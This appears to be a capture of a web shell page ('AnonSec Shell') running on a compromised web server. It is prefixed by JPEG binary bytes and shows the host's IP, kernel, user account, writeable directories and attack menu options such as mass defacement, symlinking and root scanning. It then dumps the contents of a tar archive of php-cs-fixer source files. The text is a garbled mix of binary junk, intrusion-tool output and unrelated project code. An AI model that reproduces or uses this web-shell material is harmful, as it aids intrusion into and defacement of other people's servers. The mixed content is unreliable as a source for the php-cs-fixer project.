JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/.trash/friendsofphp.tar
php-cs-fixer/benchmark.sh000066600000001450151456236460011357 0ustar00#!/bin/bash

command -v php >/dev/null 2>&1 || { echo "I require `php` but it's not available. Aborting." >&2; exit 255; }
command -v grep >/dev/null 2>&1 || { echo "I require `grep` but it's not available. Aborting." >&2; exit 255; }
command -v awk >/dev/null 2>&1 || { echo "I require `awk` but it's not available. Aborting." >&2; exit 255; }

if [ "" == "$1" ] || [ "" == "$2" ];
then
    echo "Usage: bash benchmark.sh BRANCH1 BRANCH2 ...BRANCHN"
    exit 1;
fi

for BRANCH in $@
do
    git checkout $BRANCH &> /dev/null &&
    git reset --hard &> /dev/null &&
    echo -n $BRANCH
    (for i in {1..10}; do php php-cs-fixer fix . ; done) | grep -i fixed | awk '
    {
        total += $5;
        ++count;
    }
    END {
        print " mean:" (total/count) " total:" total " rounds:" count
    }'
done
php-cs-fixer/CHANGELOG.md000066600000061151151456236460010706 0ustar00CHANGELOG for PHP CS Fixer
==========================

This file contains changelogs for stable releases only.

Changelog for v1.11.6
---------------------

* bug #2086 Braces - fix bug with comment in method prototype (keradus)
* bug #2077 SingleLineAfterImportsFixer - Do not remove lines between use cases (SpacePossum)
* bug #2079 TernarySpacesFixer - Remove multiple spaces (SpacePossum)
* bug #2087 Fixer - handle PHP7 Errors as well (keradus)
* bug #2072 LowercaseKeywordsFixer - handle CT_CLASS_CONSTANT (tgabi333)
* bug #2066 LineAfterNamespaceFixer - Handle close tag (SpacePossum)
* bug #2057 LineAfterNamespaceFixer - adding too much extra lines where namespace is last statement (keradus)
* bug #2059 OperatorsSpacesFixer - handle declare statement (keradus)
* bug #2060 UnusedUseFixer - fix handling whitespaces around removed import (keradus)
* minor #2071 ShortEchoTagFixer - allow to run tests on PHP 5.3 (keradus)

Changelog for v1.11.5
---------------------

* bug #2012 Properly build phar file for lowest supported PHP version (keradus)
* bug #2037 BracesFixer - add support for anonymous classes (keradus)
* bug #1989 Add support for PHP 7 namespaces (SpacePossum)
* bug #2019 Fixing newlines added after curly brace string index access (jaydiablo)
* bug #1840 [Bug] BracesFixer - Do add a line before close tag (SpacePossum)
* bug #1994 EchoToPrintFixer - Fix T_OPEN_TAG_WITH_ECHO on hhvm (keradus)
* bug #1970 Tokens - handle semi-reserved PHP 7 keywords (keradus)
* minor #2017 PHP7 integration tests (keradus)
* minor #1465 Bump supported HHVM version, improve ShortEchoTagFixer on HHVM (keradus)
* minor #1995 Rely on own phpunit, not one from CI service (keradus)

Changelog for v1.11.4
---------------------

* bug #1956 SelfUpdateCommand - don't update to non-stable version (keradus)
* bug #1963 Fix not wanted unneeded_control_parentheses fixer for clone (Soullivaneuh)
* bug #1960 Fix invalid test cases (keradus)
* bug #1939 BracesFixer - fix handling comment around control token (keradus)
* minor #1927 NewWithBracesFixer - remove invalid testcase (keradus)

Changelog for v1.11.3
---------------------

* bug #1868 NewWithBracesFixer - fix handling more neighbor tokens (keradus)
* bug #1893 BracesFixer - handle comments inside lambda function prototype (keradus)
* bug #1806 SelfAccessorFixer - skip anonymous classes (gharlan)
* bug #1813 BlanklineAfterOpenTagFixer, NoBlankLinesBeforeNamespaceFixer - fix priority (SpacePossum)
* minor #1807 Tokens - simplify isLambda() (gharlan)

Changelog for v1.11.2
---------------------

* bug #1776 EofEndingFixer - new line on end line comment is allowed (Slamdunk)
* bug #1775 FileCacheManager - ignore corrupted serialized data (keradus)
* bug #1769 FunctionDeclarationFixer - fix more cases (keradus)
* bug #1747 Fixer - Fix ordering of fixer when both level and custom fixers are used (SpacePossum)
* bug #1744 Fixer - fix rare situation when file was visited twice (keradus)
* bug #1710 LowercaseConstantFixer - Fix comment cases. (SpacePossum)
* bug #1711 FunctioncallSpaceFixer - do not touch function declarations. (SpacePossum)
* minor #1798 LintManager - meaningful tempnam (Slamdunk)
* minor #1759 UniqueFileIterator - performance improvement (GrahamCampbell)
* minor #1745 appveyor - fix build (keradus)

Changelog for v1.11.1
---------------------

* bug #1680 NewWithBracesFixer - End tags  (SpacePossum)
* bug #1685 EmptyReturnFixer - Make independent of LowercaseConstantsFixer (SpacePossum)
* bug #1640 IntegrationTest - fix directory separator (keradus)
* bug #1595 ShortTagFixer - fix priority (keradus)
* bug #1576 SpacesBeforeSemicolonFixer - do not remove space before semicolon if that space is after a semicolon (SpacePossum)
* bug #1570 UnneededControlParenthesesFixer - fix test samples (keradus)
* minor #1653 Update license year (gharlan)

Changelog for v1.11
-------------------

* feature #1550 Added UnneededControlParenthesesFixer (Soullivaneuh, keradus)
* feature #1532 Added ShortBoolCastFixer (SpacePossum)
* feature #1523 Added EchoToPrintFixer and PrintToEchoFixer (Soullivaneuh)
* feature #1552 Warn when running with xdebug extension (SpacePossum)
* feature #1484 Added ArrayElementNoSpaceBeforeCommaFixer and ArrayElementWhiteSpaceAfterCommaFixer (amarczuk)
* feature #1449 PhpUnitConstructFixer - Fix more use cases (SpacePossum)
* feature #1382 Added PhpdocTypesFixer (GrahamCampbell)
* feature #1384 Add intergration tests (SpacePossum)
* feature #1349 Added FunctionTypehintSpaceFixer (keradus)
* minor #1562 Fix invalid PHP code samples in utests (SpacePossum)
* minor #1560 Fixed project name in xdebug warning (gharlan)
* minor #1545 Fix invalid PHP code samples in utests (SpacePossum)
* minor #1554 Alphabetically sort entries in .gitignore (GrahamCampbell)
* minor #1527 Refactor the way types work on annotations (GrahamCampbell)
* minor #1546 Update coding guide in cookbook (keradus)
* minor #1526 Support more annotations when fixing types in phpdoc (GrahamCampbell)
* minor #1535 clean ups (SpacePossum)
* minor #1510 Added Symfony 3.0 support (Ener-Getick)
* minor #1520 Code grooming (keradus)
* minor #1515 Support property, property-read and property-write tags (GrahamCampbell)
* minor #1488 Added more inline phpdoc tests (GrahamCampbell)
* minor #1496 Add docblock to AbstractFixerTestBase::makeTest (lmanzke)
* minor #1467 PhpdocShortDescriptionFixer - add support for Japanese sentence-ending characters (fritz-c)
* minor #1453 remove calling array_keys in foreach loops (keradus)
* minor #1448 Code grooming (keradus)
* minor #1437 Added import fixers integration test (GrahamCampbell)
* minor #1433 phpunit.xml.dist - disable gc (keradus)
* minor #1427 Change arounded to surrounded in README.rst (36degrees)
* minor #1420 AlignDoubleArrowFixer, AlignEqualsFixer - add integration tests (keradus)
* minor #1423 appveyor.yml - do not cache C:\tools, its internal forAppVeyor (keradus)
* minor #1400 appveyor.yml - add file (keradus)
* minor #1396 AbstractPhpdocTypesFixer - instance method should be called on instance (keradus)
* minor #1395 code grooming (keradus)
* minor #1393 boost .travis.yml file (keradus)
* minor #1372 Don't allow PHP 7 to fail (GrahamCampbell)
* minor #1332 PhpUnitConstructFixer - fix more functions (keradus)
* minor #1339 CONTRIBUTING.md - add link to PSR-5 (keradus)
* minor #1346 Core grooming (SpacePossum)
* minor #1328 Tokens: added typehint for Iterator elements (gharlan)

Changelog for v1.10.3
---------------------

* bug #1559 WhitespacyLinesFixer - fix bug cases (SpacePossum, keradus)
* bug #1541 Psr0Fixer - Ignore filenames that are a reserved keyword or predefined constant (SpacePossum)
* bug #1537 Psr0Fixer - ignore file without name or with name started by digit (keradus)
* bug #1516 FixCommand - fix wrong message for dry-run (SpacePossum)
* bug #1486 ExtraEmptyLinesFixer - Remove extra lines after comment lines too (SpacePossum)
* bug #1503 Psr0Fixer - fix case with comments lying around (GrahamCampbell)
* bug #1474 PhpdocToCommentFixer - fix not properly fixing for block right after namespace (GrahamCampbell)
* bug #1478 BracesFixer - do not remove empty lines after class opening (keradus)
* bug #1468 Add missing ConfigInterface::getHideProgress() (Eugene Leonovich, rybakit)
* bug #1466 Fix bad indent on align double arrow fixer (Soullivaneuh, keradus)
* bug #1479 Tokens - fix detection of short array (keradus)

Changelog for v1.10.2
---------------------

* bug #1461 PhpUnitConstructFixer - fix case when first argument is an expression (keradus)
* bug #1460 AlignDoubleArrowFixer - fix handling of nested arrays (Soullivaneuh, keradus)

Changelog for v1.10.1
---------------------

* bug #1424 Fixed the import fixer priorities (GrahamCampbell)
* bug #1444 OrderedUseFixer - fix next case (keradus)
* bug #1441 BracesFixer - fix next case (keradus)
* bug #1422 AlignDoubleArrowFixer - fix handling of nested array (SpacePossum)
* bug #1425 PhpdocInlineTagFixerTest - fix case when met inalid PHPDoc (keradus)
* bug #1419 AlignDoubleArrowFixer, AlignEqualsFixer - fix priorities (keradus)
* bug #1415 BlanklineAfterOpenTagFixer - Do not add a line break if there is one already. (SpacePossum)
* bug #1410 PhpdocIndentFixer - Fix for open tag (SpacePossum)
* bug #1401 PhpdocVarWithoutNameFixer - Fixed the var without name fixer for inline docs (keradus, GrahamCampbell)
* bug #1369 Fix not well-formed XML output (junichi11)
* bug #1356 Psr0Fixer - disallow run on StdinFileInfo (keradus)

Changelog for v1.10
-------------------

* feature #1306 Added LogicalNotOperatorsWithSuccessorSpaceFixer (phansys)
* feature #1286 Added PhpUnitConstructFixer (keradus)
* feature #1316 Added PhpdocInlineTagFixer (SpacePossum, keradus)
* feature #1303 Added LogicalNotOperatorsWithSpacesFixer (phansys)
* feature #1279 Added PhpUnitStrictFixer (keradus)
* feature #1267 SingleQuoteFixer fix more use cases (SpacePossum)
* minor #1319 PhpUnitConstructFixer - fix performance and add to local .php_cs (keradus)
* minor #1280 Fix non-utf characters in docs (keradus)
* minor #1274 Cookbook - No change auto-test note (Soullivaneuh)

Changelog for v1.9.3
--------------------

* bug #1327 DocBlock\Tag - keep the case of tags (GrahamCampbell)

Changelog for v1.9.2
--------------------

* bug #1313 AlignDoubleArrowFixer - fix aligning after UTF8 chars (keradus)
* bug #1296 PhpdocScalarFixer - fix property annotation too (GrahamCampbell)
* bug #1299 WhitespacyLinesFixer - spaces on next valid line must not be fixed (Slamdunk)

Changelog for v1.9.1
--------------------

* bug #1288 TrimArraySpacesFixer - fix moving first comment (keradus)
* bug #1287 PhpdocParamsFixer - now works on any indentation level (keradus)
* bug #1278 Travis - fix PHP7 build (keradus)
* bug #1277 WhitespacyLinesFixer - stop changing non-whitespacy tokens (SpacePossum, SamBurns-awin, keradus)
* bug #1224 TrailingSpacesFixer - stop changing non-whitespacy tokens (SpacePossum, SamBurns-awin, keradus)
* bug #1266 FunctionCallSpaceFixer - better detection of function call (funivan)
* bug #1255 make sure some phpdoc fixers are run in right order (SpacePossum)

Changelog for v1.9
------------------

* feature #1097 Added ShortEchoTagFixer (vinkla)
* minor #1238 Fixed error handler to respect current error_reporting (JanJakes)
* minor #1234 Add class to exception message, use sprintf for exceptions (SpacePossum)
* minor #1210 set custom error handler for application run (keradus)
* minor #1214 Tokens::isMonolithicPhp - enhance performance (keradus)
* minor #1207 Update code documentation (keradus)
* minor #1202 Update IDE tool urls (keradus)
* minor #1195 PreIncrementFixer - move to Symfony level (gharlan)

Changelog for v1.8.1
--------------------

* bug #1193 EofEndingFixer - do not add an empty line at EOF if the PHP tags have been closed (SpacePossum)
* bug #1209 PhpdocParamsFixer - fix corrupting following custom annotation (keradus)
* bug #1205 BracesFixer - fix missing indentation fixes for class level (keradus)
* bug #1204 Tag - fix treating complex tag as simple PhpDoc tag (keradus)
* bug #1198 Tokens - fixed unary/binary operator check for type-hinted reference arguments (gharlan)
* bug #1201 Php4ConstructorFixer - fix invalid handling of subnamespaces (gharlan)
* minor #1221 Add more tests (SpacePossum)
* minor #1216 Tokens - Add unit test for array detection (SpacePossum)

Changelog for v1.8
------------------

* feature #1168 Added UnalignEqualsFixer (keradus)
* feature #1167 Added UnalignDoubleArrowFixer (keradus)
* bug #1169 ToolInfo - Fix way to find script dir (sp-ian-monge)
* minor #1181 composer.json - Update description (SpacePossum)
* minor #1180 create Tokens::overrideAt method (keradus)

Changelog for v1.7.1
--------------------

* bug #1165 BracesFixer - fix bug when comment is a first statement in control structure without braces (keradus)

Changelog for v1.7
------------------

* feature #1113 Added PreIncrementFixer (gharlan)
* feature #1144 Added PhpdocNoAccessFixer (GrahamCampbell)
* feature #1116 Added SelfAccessorFixer (gharlan)
* feature #1064 OperatorsSpacesFixer enhancements (gharlan)
* bug #1151 Prevent token collection corruption by fixers (stof, keradus)
* bug #1152 LintManager - fix handling of temporary file (keradus)
* bug #1139 NamespaceNoLeadingWhitespaceFixer - remove need for ctype extension (keradus)
* bug #1117 Tokens - fix iterator used with foreach by reference (keradus)
* minor #1148 code grooming (keradus)
* minor #1142 We are actually PSR-4, not PSR-0 (GrahamCampbell)
* minor #1131 Phpdocs and typos (SpacePossum)
* minor #1069 state min HHVM version (keradus)
* minor #1129 [DX] Help developers choose the right branch (SpacePossum)
* minor #1138 PhpClosingTagFixer - simplify flow, no need for loop (keradus)
* minor #1123 Reference mismatches fixed, SCA (kalessil)
* minor #1109 SingleQuoteFixer - made fixer more accurate (gharlan)
* minor #1110 code grooming (kalessil)

Changelog for v1.6.2
--------------------

* bug #1149 UnusedUseFixer - must be run before LineAfterNamespaceFixer, fix token collection corruption (keradus)
* minor #1145 AbstractLinesBeforeNamespaceFixer - fix docs for fixLinesBeforeNamespace (GrahamCampbell)

Changelog for v1.6.1
--------------------

* bug #1108 UnusedUseFixer - fix false positive when name is used as part of another namespace (gharlan)
* bug #1114 Fixed PhpdocParamsFixer with malformed doc block (gharlan)
* minor #1135 PhpdocTrimFixer - fix doc typo (localheinz)
* minor #1093 Travis - test lowest dependencies (boekkooi)

Changelog for v1.6
------------------

* feature #1089 Added NewlineAfterOpenTagFixer and BlanklineAfterOpenTagFixer (ceeram, keradus)
* feature #1090 Added TrimArraySpacesFixer (jaredh159, keradus)
* feature #1058 Added SingleQuoteFixer (gharlan)
* feature #1059 Added LongArraySyntaxFixer (gharlan)
* feature #1037 Added PhpdocScalarFixer (GrahamCampbell, keradus)
* feature #1028 Add ListCommasFixer (keradus)
* bug #1047 Utils::camelCaseToUnderscore - fix regexp (odin-delrio)
* minor #1073 ShortTagFixer enhancement (gharlan)
* minor #1079 Use LongArraySyntaxFixer for this repo (gharlan)
* minor #1070 Tokens::isMonolithicPhp - remove unused T_CLOSE_TAG search (keradus)
* minor #1049 OrderedUseFixer - grooming (keradus)

Changelog for v1.5.2
--------------------

* bug #1025 Fixer - ignore symlinks (kix)
* bug #1071 Psr0Fixer - fix bug for fixing file with long extension like .class.php (keradus)
* bug #1080 ShortTagFixer - fix false positive (gharlan)
* bug #1066 Php4ConstructorFixer - fix causing infinite recursion (mbeccati)
* bug #1056 VisibilityFixer - fix T_VAR with multiple props (localheinz, keradus)
* bug #1065 Php4ConstructorFixer - fix detection of a PHP4 parent constructor variant (mbeccati)
* bug #1060 Tokens::isShortArray: tests and bugfixes (gharlan)
* bug #1057 unused_use: fix false positive when name is only used as variable name (gharlan)

Changelog for v1.5.1
--------------------

* bug #1054 VisibilityFixer - fix var with array value assigned (localheinz, keradus)
* bug #1048 MultilineArrayTrailingCommaFixer, SingleArrayNoTrailingCommaFixer - using heredoc inside array not cousing to treat it as multiline array (keradus)
* bug #1043 PhpdocToCommentFixer - also check other control structures, besides foreach (ceeram)
* bug #1045 OrderedUseFixer - fix namespace order for trailing digits (rusitschka)
* bug #1035 PhpdocToCommentFixer - Add static as valid keyword for structural element (ceeram)
* bug #1020 BracesFixer - fix missing braces for nested if elseif else (malengrin)
* minor #1036 Added php7 to travis build (fonsecas72)
* minor #1026 Fix typo in ShortArraySyntaxFixer (tommygnr)
* minor #1024 code grooming (keradus)

Changelog for v1.5
------------------

* feature #887 Added More Phpdoc Fixers (GrahamCampbell, keradus)
* feature #1002 Add HeaderCommentFixer (ajgarlag)
* feature #974 Add EregToPregFixer (mbeccati)
* feature #970 Added Php4ConstructorFixer (mbeccati)
* feature #997 Add PhpdocToCommentFixer (ceeram, keradus)
* feature #932 Add NoBlankLinesAfterClassOpeningFixer (ceeram)
* feature #879 Add SingleBlankLineBeforeNamespaceFixer and NoBlankLinesBeforeNamespaceFixer (GrahamCampbell)
* feature #860 Add single_line_after_imports fixer (ceeram)
* minor #1014 Fixed a few file headers (GrahamCampbell)
* minor #1011 Fix HHVM as it works different than PHP (keradus)
* minor #1010 Fix invalid UTF-8 char in docs (ajgarlag)
* minor #1003 Fix header comment in php files (ajgarlag)
* minor #1005 Add Utils::calculateBitmask method (keradus)
* minor #973 Add Tokens::findSequence (mbeccati)
* minor #991 Longer explanation of how to use blacklist (bmitch, networkscraper)
* minor #972 Add case sensitive option to the tokenizer (mbeccati)
* minor #986 Add benchmark script (dericofilho)
* minor #985 Fix typo in COOKBOOK-FIXERS.md (mattleff)
* minor #978 Token - fix docs (keradus)
* minor #957 Fix Fixers methods order (GrahamCampbell)
* minor #944 Enable caching of composer downloads on Travis (stof)
* minor #941 EncodingFixer - enhance tests (keradus)
* minor #938 Psr0Fixer - remove unneded assignment (keradus)
* minor #936 FixerTest - test description consistency (keradus)
* minor #933 NoEmptyLinesAfterPhpdocsFixer - remove unneeded code, clarify description (ceeram)
* minor #934 StdinFileInfo::getFilename - Replace phpdoc with normal comment and add back empty line before return (ceeram)
* minor #927 Exclude the resources folder from coverage reports (GrahamCampbell)
* minor #926 Update Token::isGivenKind phpdoc (GrahamCampbell)
* minor #925 Improved AbstractFixerTestBase (GrahamCampbell)
* minor #922 AbstractFixerTestBase::makeTest - test if input is different than expected (keradus)
* minor #904 Refactoring Utils (GrahamCampbell)
* minor #901 Improved Readme Formatting (GrahamCampbell)
* minor #898 Tokens::getImportUseIndexes - simplify function (keradus)
* minor #897 phpunit.xml.dist - split testsuite (keradus)

Changelog for v1.4.2
--------------------

* bug #994 Fix detecting of short arrays (keradus)
* bug #995 DuplicateSemicolonFixer - ignore duplicated semicolons inside T_FOR (keradus)

Changelog for v1.4.1
--------------------

* bug #990 MultilineArrayTrailingCommaFixer - fix case with short array on return (keradus)
* bug #975 NoEmptyLinesAfterPhpdocsFixer - fix only when documentation documents sth (keradus)
* bug #976 PhpdocIndentFixer - fix error when there is a comment between docblock and next meaningful token (keradus, ceeram)

Changelog for v1.4
------------------

* feature #841 PhpdocParamsFixer: added aligning var/type annotations (GrahamCampbell)
* bug #965 Fix detection of lambda function that returns a reference (keradus)
* bug #962 PhpdocIndentFixer - fix bug when documentation is on the end of braces block (keradus)
* bug #961 Fixer - fix handling of empty file (keradus)
* bug #960 IncludeFixer - fix bug when include is part of condition statement (keradus)
* bug #954 AlignDoubleArrowFixer - fix new buggy case (keradus)
* bug #955 ParenthesisFixer - fix case with list call with trailing comma (keradus)
* bug #950 Tokens::isLambda - fix detection near comments (keradus)
* bug #951 Tokens::getImportUseIndexes - fix detection near comments (keradus)
* bug #949 Tokens::isShortArray - fix detection near comments (keradus)
* bug #948 NewWithBracesFixer - fix case with multidimensional array (keradus)
* bug #945 Skip files containing __halt_compiler() on PHP 5.3 (stof)
* bug #946 BracesFixer - fix typo in exception name (keradus)
* bug #940 Tokens::setCode - apply missing transformation (keradus)
* bug #908 BracesFixer - fix invalide inserting brace for control structure without brace and lambda inside of it (keradus)
* bug #903 NoEmptyLinesAfterPhpdocsFixer - fix bug with Windows style lines (GrahamCampbell)
* bug #895 [PSR-2] Preserve blank line after control structure opening brace (marcaube)
* bug #892 Fixed the double arrow multiline whitespace fixer (GrahamCampbell)
* bug #874 BracesFixer - fix bug of removing empty lines after class' opening { (ceeram)
* bug #868 BracesFixer - fix missing braces when statement is not followed by ; (keradus)
* bug #861 Updated PhpdocParamsFixer not to change line endings (keradus, GrahamCampbell)
* bug #837 FixCommand - stop corrupting xml/json format (keradus)
* bug #846 Made phpdoc_params run after phpdoc_indent (GrahamCampbell)
* bug #834 Correctly handle tab indentation (ceeram)
* bug #822 PhpdocIndentFixer - Ignore inline docblocks (ceeram)
* bug #813 MultilineArrayTrailingCommaFixer - do not move array end to new line (keradus)
* bug #817 LowercaseConstantsFixer - ignore class' constants TRUE/FALSE/NULL (keradus)
* bug #821 JoinFunctionFixer - stop changing declaration method name (ceeram)
* minor #963 State the minimum version of PHPUnit in CONTRIBUTING.md (SpacePossum)
* minor #943 Improve the cookbook to use relative links (stof)
* minor #921 Add changelog file (keradus)
* minor #909 BracesFixerTest - no \n line in \r\n test (keradus)
* minor #864 Added NoEmptyLinesAfterPhpdocsFixer (GrahamCampbell)
* minor #871 Added missing author (GrahamCampbell)
* minor #852 Fixed the coveralls version constraint (GrahamCampbell)
* minor #863 Tweaked testRetainsNewLineCharacters (GrahamCampbell)
* minor #849 Removed old alias (GrahamCampbell)
* minor #843 integer should be int (GrahamCampbell)
* minor #830 Remove whitespace before opening tag (ceeram)
* minor #835 code grooming (keradus)
* minor #828 PhpdocIndentFixerTest - code grooming (keradus)
* minor #827 UnusedUseFixer - code grooming (keradus)
* minor #825 improve code coverage (keradus)
* minor #810 improve code coverage (keradus)
* minor #811 ShortArraySyntaxFixer - remove not needed if statement (keradus)

Changelog for v1.3
------------------

* feature #790 Add docblock indent fixer (ceeram)
* feature #771 Add JoinFunctionFixer (keradus)
* bug #798 Add DynamicVarBrace Transformer for properly handling ${$foo} syntax (keradus)
* bug #796 LowercaseConstantsFixer - rewrite to handle new test cases (keradus)
* bug #789 T_CASE is not succeeded by parentheses (dericofilho)
* minor #814 Minor improvements to the phpdoc_params fixer (GrahamCampbell)
* minor #815 Minor fixes (GrahamCampbell)
* minor #782 Cookbook on how to make a new fixer (dericofilho)
* minor #806 Fix Tokens::detectBlockType call (keradus)
* minor #758 travis - disable sudo (keradus)
* minor #808 Tokens - remove commented code (keradus)
* minor #802 Address Sensiolabs Insight's warning of code cloning. (dericofilho)
* minor #803 README.rst - fix \` into \`\` (keradus)

Changelog for v1.2
------------------

* feature #706 Remove lead slash (dericofilho)
* feature #740 Add EmptyReturnFixer (GrahamCampbell)
* bug #775 PhpClosingTagFixer - fix case with T_OPEN_TAG_WITH_ECHO (keradus)
* bug #756 Fix broken cases for AlignDoubleArrowFixer (dericofilho)
* bug #763 MethodArgumentSpaceFixer - fix receiving data in list context with omitted values (keradus)
* bug #759 Fix Tokens::isArrayMultiLine (stof, keradus)
* bug #754 LowercaseKeywordsFixer - __HALT_COMPILER must not be lowercased (keradus)
* bug #753 Fix for double arrow misalignment in deeply nested arrays. (dericofilho)
* bug #752 OrderedUseFixer should be case-insensitive (rusitschka)
* minor #779 Fixed a docblock type (GrahamCampbell)
* minor #765 Typehinting in FileCacheManager, remove unused variable in Tokens (keradus)
* minor #764 SelfUpdateCommand - get local version only if remote version was successfully obtained (keradus)
* minor #761 aling => (keradus)
* minor #757 Some minor code simplify and extra test (keradus)
* minor #713 Download php-cs-fixer.phar without sudo (michaelsauter)
* minor #742 Various Minor Improvements (GrahamCampbell)

Changelog for v1.1
------------------

* feature #749 remove the --no-progress option (replaced by the standard -v) (fabpot, keradus)
* feature #728 AlignDoubleArrowFixer - standardize whitespace after => (keradus)
* feature #647 Add DoubleArrowMultilineWhitespacesFixer (dericofilho, keradus)
* bug #746 SpacesBeforeSemicolonFixerTest - fix bug with semicolon after comment (keradus)
* bug #741 Fix caching when composer is installed in custom path (cmodijk)
* bug #725 DuplicateSemicolonFixer - fix clearing whitespace after duplicated semicolon (keradus)
* bug #730 Cache busting when fixers list changes (Seldaek)
* bug #722 Fix lint for STDIN-files (ossinkine)
* bug #715 TrailingSpacesFixer - fix bug with french UTF-8 chars (keradus)
* bug #718 Fix package name for composer cache (Seldaek)
* bug #711 correct vendor name (keradus)
* minor #745 Show progress by default and allow to disable it (keradus)
* minor #731 Add a way to disable all default filters and really provide a whitelist (Seldaek)
* minor #737 Extract tool info into new class, self-update command works now only for PHAR version (keradus)
* minor #739 fix fabbot issues (keradus)
* minor #726 update CONTRIBUTING.md for installing dependencies (keradus)
* minor #736 Fix fabbot issues (GrahamCampbell)
* minor #727 Fixed typos (pborreli)
* minor #719 Add update instructions for composer and caching docs (Seldaek)

Changelog for v1.0
------------------

First stable release.
php-cs-fixer/Symfony/CS/FileCacheManager.php000066600000007264151456236460014662 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * Class supports caching information about state of fixing files.
 *
 * Cache is supported only for phar version and version installed via composer.
 *
 * File will be processed by PHP CS Fixer only if any of the following conditions is fulfilled:
 *  - cache is not available,
 *  - fixer version changed,
 *  - fixers list is changed,
 *  - file is new,
 *  - file changed.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class FileCacheManager
{
    const CACHE_FILE = '.php_cs.cache';

    private $dir;
    private $isEnabled;
    private $fixers;
    private $newHashes = array();
    private $oldHashes = array();

    public function __construct($isEnabled, $dir, array $fixers)
    {
        $this->isEnabled = $isEnabled;
        $this->dir = null !== $dir ? $dir.DIRECTORY_SEPARATOR : '';
        $this->fixers = array_map(function (FixerInterface $f) {
            return $f->getName();
        }, $fixers);
        sort($this->fixers);

        $this->readFromFile();
    }

    public function __destruct()
    {
        $this->saveToFile();
    }

    public function needFixing($file, $fileContent)
    {
        if (!$this->isCacheAvailable()) {
            return true;
        }

        if (!isset($this->oldHashes[$file])) {
            return true;
        }

        if ($this->oldHashes[$file] !== $this->calcHash($fileContent)) {
            return true;
        }

        // file do not change - keep hash in new collection
        $this->newHashes[$file] = $this->oldHashes[$file];

        return false;
    }

    public function setFile($file, $fileContent)
    {
        if (!$this->isCacheAvailable()) {
            return;
        }

        $this->newHashes[$file] = $this->calcHash($fileContent);
    }

    private function calcHash($content)
    {
        return crc32($content);
    }

    private function isCacheAvailable()
    {
        static $result;

        if (null === $result) {
            $result = $this->isEnabled && (ToolInfo::isInstalledAsPhar() || ToolInfo::isInstalledByComposer());
        }

        return $result;
    }

    private function isCacheStale($cacheVersion, $fixers)
    {
        if (!$this->isCacheAvailable()) {
            return true;
        }

        return ToolInfo::getVersion() !== $cacheVersion || $this->fixers !== $fixers;
    }

    private function readFromFile()
    {
        if (!$this->isCacheAvailable()) {
            return;
        }

        if (!file_exists($this->dir.self::CACHE_FILE)) {
            return;
        }

        $content = file_get_contents($this->dir.self::CACHE_FILE);
        $data = @unserialize($content);

        // ignore corrupted serialized data
        if (null === $data) {
            return;
        }

        // BC for old cache without fixers list
        if (!isset($data['fixers'])) {
            $data['fixers'] = null;
        }

        // Set hashes only if the cache is fresh, otherwise we need to parse all files
        if (!$this->isCacheStale($data['version'], $data['fixers'])) {
            $this->oldHashes = $data['hashes'];
        }
    }

    private function saveToFile()
    {
        if (!$this->isCacheAvailable()) {
            return;
        }

        $data = serialize(
            array(
                'version' => ToolInfo::getVersion(),
                'fixers' => $this->fixers,
                'hashes' => $this->newHashes,
            )
        );

        file_put_contents($this->dir.self::CACHE_FILE, $data, LOCK_EX);
    }
}
php-cs-fixer/Symfony/CS/Console/Application.php000066600000002243151456236460015421 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Console;

use Symfony\Component\Console\Application as BaseApplication;
use Symfony\CS\Console\Command\FixCommand;
use Symfony\CS\Console\Command\ReadmeCommand;
